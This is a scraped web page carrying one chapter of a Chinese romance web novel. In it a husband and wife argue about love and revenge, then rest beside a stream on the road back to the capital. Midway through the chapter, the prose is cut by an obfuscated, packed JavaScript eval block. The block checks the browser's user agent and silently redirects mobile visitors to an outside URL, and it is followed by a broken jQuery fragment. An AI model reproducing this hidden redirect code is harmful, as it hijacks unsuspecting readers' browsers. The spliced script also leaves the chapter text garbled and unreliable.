文趣网 > 都市小说 > 乡娇 > 44. 第 44 章
    一句话石破天惊。

    时间仿佛静止了,周围寂静无声,一个极其小的动静就能轻而易举听清。

    仿佛有什么在砰砰作响。

    陈尚的嗓子干涩,缓缓开口:“你心中是如何想的?”

    江晚莺问:“什么意思?我心中想什么?”

    “你一直以为我对你好是为了更好的报复你吗?”

    虽然不想承认,但江晚莺心中是这么想的。

    陈尚强娶她,将她娶走,对她好,不管她想要做什么,他都会同意,让她产生一种错觉,觉得陈尚是真心爱自己。

    最后,陈尚再狠狠抛弃她,那样她就会因为极其大的落差感,感到不适,不喜,不舒适。

    陈尚的目的是为了自己离不开他,从而更好的实行报复。

    江晚莺知道不少这样的事。

    杀人诛心。

    报复一个人最好的方式,是让对方离开你,依赖你。

    江晚莺之前对陈尚做的事在旁人看来罪无可赎,更何况当初江晚莺对陈尚动了杀心,她不信陈尚没有察觉。

    要是把自己对陈尚做的事放在自己身上,自己一定会报复那人。

    陈尚与江晚莺忽然没有理由的分开,两人没有经历感情破裂,陈尚想要知其缘由,江晚莺却说出伤害人心的话。

    正常人听到那些话都不会原谅江晚莺,何况是陈尚。

    江晚莺的眼睛在诉说“难道不是吗”这几个大字。

    陈尚的眼里有江晚莺看不懂的东西,如同田间的风,暖而猛烈。

    心里刺痛,仿佛有无数个银针扎入皮肉,冒出一珠珠鲜红的血,陈尚定定地看着江晚莺,眼神仿佛将她吸进身体。

    “你难道一直不知我的心思?”陈尚一字一句问,“江晚莺,是你不懂,还是不想懂?”

    江晚莺眨眨眼,身子后倾,阻止面前的人靠近。

    懂或不懂?

    江晚莺不知道,也许她懂,但她不知道为何?

    陈尚怎么能做到如此地步?

    两个不同血缘的人,怎么能做到如此地步?

    江晚莺曾经还伤害过陈尚。

    怎么会有这样的人?尽管受到伤害,还是一如往常的原谅伤害自己的人。

    江晚莺想到了大黄,那只狗,赶也赶不走,让它做什么,它便做什么,从来不会反抗。

    江晚莺认真道:“陈尚,你为何会这样对我?”哪怕我对你一点都不好。

    陈尚眼神一暗,面上好像带着些许委屈,江晚莺不确定。

    “江晚莺,你不懂爱。”陈尚自嘲,“还是你一直觉着我配不上你,尽管我做到如此地步你还是不喜欢我。”

    江晚莺的心动了下。

    陈尚说的话重重砸向江晚莺,不知为何,她有些喘不上气。

    陈尚一步步逼近:“你从未喜欢过我,现在是,之前也是。”

    江晚莺偏头,不敢看陈尚。

    陈尚:“不过无事,我们成婚了。”

    江晚莺怔愣,正要以为陈尚要说什么时,他又冷静开口了。

    陈尚往后退,神情恢复正常:“过几日我们就可以回京城了,到时我会安排人去买宝石,齐大人给你的宝石,你先交给我,我让人弄好了给你。”

    江晚莺抿嘴。

    陈尚站起来。

    江晚莺问:“你要去哪?”

    陈尚头也不回道:“还有些事没解决,我去书房。”

    刚才的他好似变了个人,令她陌生。

    江晚莺有点不敢看陈尚了,陈尚说的话好像戳中了她心,令她有些心虚。

    陈尚如同往常一般,忙完就回府,江晚莺坐在屋内绣帕子,他便坐在一旁看书。

    江晚莺有了想要下棋的心思,陈尚也会陪她下棋。

    那日的质问好像什么都没有发生。

    两人好像什么都没有发生。

    到了启程回京时,江晚莺心底的心虚才渐渐消失,将那天陈尚说的话忘得一干二净。

    陈尚没骑马,陪江晚莺坐在马车里。

    外面的官员都在送行,其中不乏有老百姓。

    陈尚这次来崎阴算是救了他们的命,他们甚是感激。

    启程出发。

    江晚莺将车窗推开,看着外面的风景,自从回了京城,江晚莺就不经常见到这样的景色——与陈家村相差不远的景色。

    停下休整,江晚莺想下去透气。

    陈尚的眼睛从书中抽出来,问:“想要下去?”

    江晚莺点头:“有些闷,心中不舒服。”

    陈尚下去,掀开帘子,伸出一只手。

    江晚莺抓住陈尚的手,下马车。

    霁红走过来激动道:“夫人,前面有条小溪,还有许多漂亮的野花,我们去那边看看吧。”

    刚好心中烦闷,江晚莺点头:“好呀。”

    陈尚打断:“我陪你去,霁红留在这里。”

    霁红眨眨眼。

    江晚莺看了看陈尚,道:“霁红你就在这里等着吧。”

    已经不知道是第几次被陈尚截胡了,霁红欲哭无泪,自从郡主跟陈尚成婚,只要陈尚在,霁红跟郡主相处的时间就变少了。

    “是。”但她不能违抗陈尚的命令,陈尚现在是官员,她惹不起。

    果不其然,前面有一条小溪,流水湍急流过。

    地上的花开的正艳,江晚莺走近小溪,里面的鱼虾在蹦跶。

    陈尚站在她身旁。

    江晚莺猛然间想到了什么,说:“陈尚,你还记得你带着我钓鱼吗?”

    陈尚顿住,道:“记得。”

    江晚莺想起当时的情景,滔滔不绝:“你知不知道我快要被你气死了,你明明不会钓鱼,还偏偏在那里钓,害我等了半个时辰鱼还没有上钩。”

    陈尚一直盯着眼前的人,江晚莺绘声绘色讲述那时发生了什么。

    滔江晚莺想起钓鱼,还是会觉得不满。

    陈尚:“当时是因为我们去的晚了,鱼都被前面的人钓走了,所以才这么长时间没有钓到。”

    江晚莺哼了一声:“我不管,反正当时你让我坐在那里苦苦等了半个时辰,都是你的错。”

    陈尚无奈。

    与陈尚第一次钓鱼的场景,江晚莺还历历在目,自那以后,她就没再去钓鱼,钓鱼太麻烦了,还要在那等鱼上钩,不如用银子买鱼来的快。

    她宁愿用银子买,也不要钓鱼了。

    陈尚垂下眸子,两人离的极近:“你要是还想钓鱼,我们回京后可以去钓。”

    江晚莺想也没想就拒绝:“不要,钓鱼一点都没有意思,我不想去钓鱼。”

    陈尚见她不喜,不再说什么。

    江晚莺有些累,想要坐下,“陈尚,我累了。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947001|210230||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    旁边有块大石头,陈尚走过去,将上面的灰尘擦拭干净:“坐这里。”

    江晚莺还是有些嫌弃,“我们回去吧。”

    “离出发还有些时间,你不是心口闷,这里人少,刚好可以缓解你身子的不舒服。”陈尚道,“我把外袍放在石头上,你坐在上面就不脏了。”

    江晚莺嘟嘟嘴。

    她现在确实不想回去。

    外袍放在石头上,江晚莺坐在上面,

    溪水在急促地前行,昏黄的光落在大地上,江晚莺白皙的脸变得亮黄,整个人显得很温柔。

    陈尚蹲下身,将面前的花拔掉,手迅速地动,不一会儿手里的花变成了花环。

    递给江晚莺。

    江晚莺接过来,戴在头上,歪头:“好看吗?”

    陈尚望着面前的精致的面容上修饰粉黛的人,“嗯,好看。”

    江晚莺:“陈尚,回府后,你能不能在府中多种点花,我很喜欢花,特别是红色的。”

    陈尚:“回去后我就让人去种。”

    “那把香香的窝搭在卧房。”

    “不可以。”

    江晚莺皱眉:“为什么?之前我让你搭你都不搭,现在我又说一遍,你还是不搭。”

    陈尚冷静:“会打扰你休息。”

    “不会。”江晚莺道,“虽然香香有时会去榻上,但它一声不吭,很乖的。”

    “它会窝在你身上,耽误你休息。”

    江晚莺把香香当做嫁妆从王府带出来,就是想让它陪在身边,没想到陈尚不让香香进卧房。

    她不乐意:“你怎么能这样。”

    “只要不让那只猫去卧房,其他都随你。”

    江晚莺气呼呼,陈尚平日里听话,但遇到香香的事就固执己见,完全不听江晚莺说的话。

    这样就导致江晚莺与陈尚吵了许多次架。

    当然,陈尚不会跟江晚莺吵架,只是江晚莺单方面输出,等说话说口干了,陈尚还会在旁边递水。

    江晚莺跟陈尚完全吵不起来,一口气在胸口处堵着。

    她扭头,不去看陈尚。

    看见他心中就烦躁。

    眼不见为净。

    陈尚坐在她身旁。

    江晚莺看着前方,道:“你害怕有危险,但是我们一路过来,根本就没有遇到危险,陈尚,你莫不是诓我的吧?”

    陈尚不做过多的解释:“提前防备,你一人留在京城很危险。”

    “父亲和母亲都在京城,我能遇到什么危险。”江晚莺道,“反而来到荒无人迹的这里才会遇到危险吧。”

    陈尚不语。

    江晚莺真是奇怪了,自己一人留在京城能有什么危险,陈尚就是欺骗自己,就是为了让自己陪着他一起去崎阴。

    要不然江晚莺想不出其他的理由。

    陈尚的默认好像证实她的想法。

    江晚莺看着远处。

    陈尚盯着她道:“夫人。”

    江晚莺不耐:“何事?”

    陈尚:“回京城后你要是想去王府住上几日便去住罢。”

    江晚莺转头,问:“你之前不是不让我回去住吗?每次到了傍晚就会接我回府。”

    陈尚:“母亲前几日来信,说他和父亲到京城了。”

    江晚莺怔住,反应过来陈尚说的是许月娥,还有她从未见过的陈尚父亲。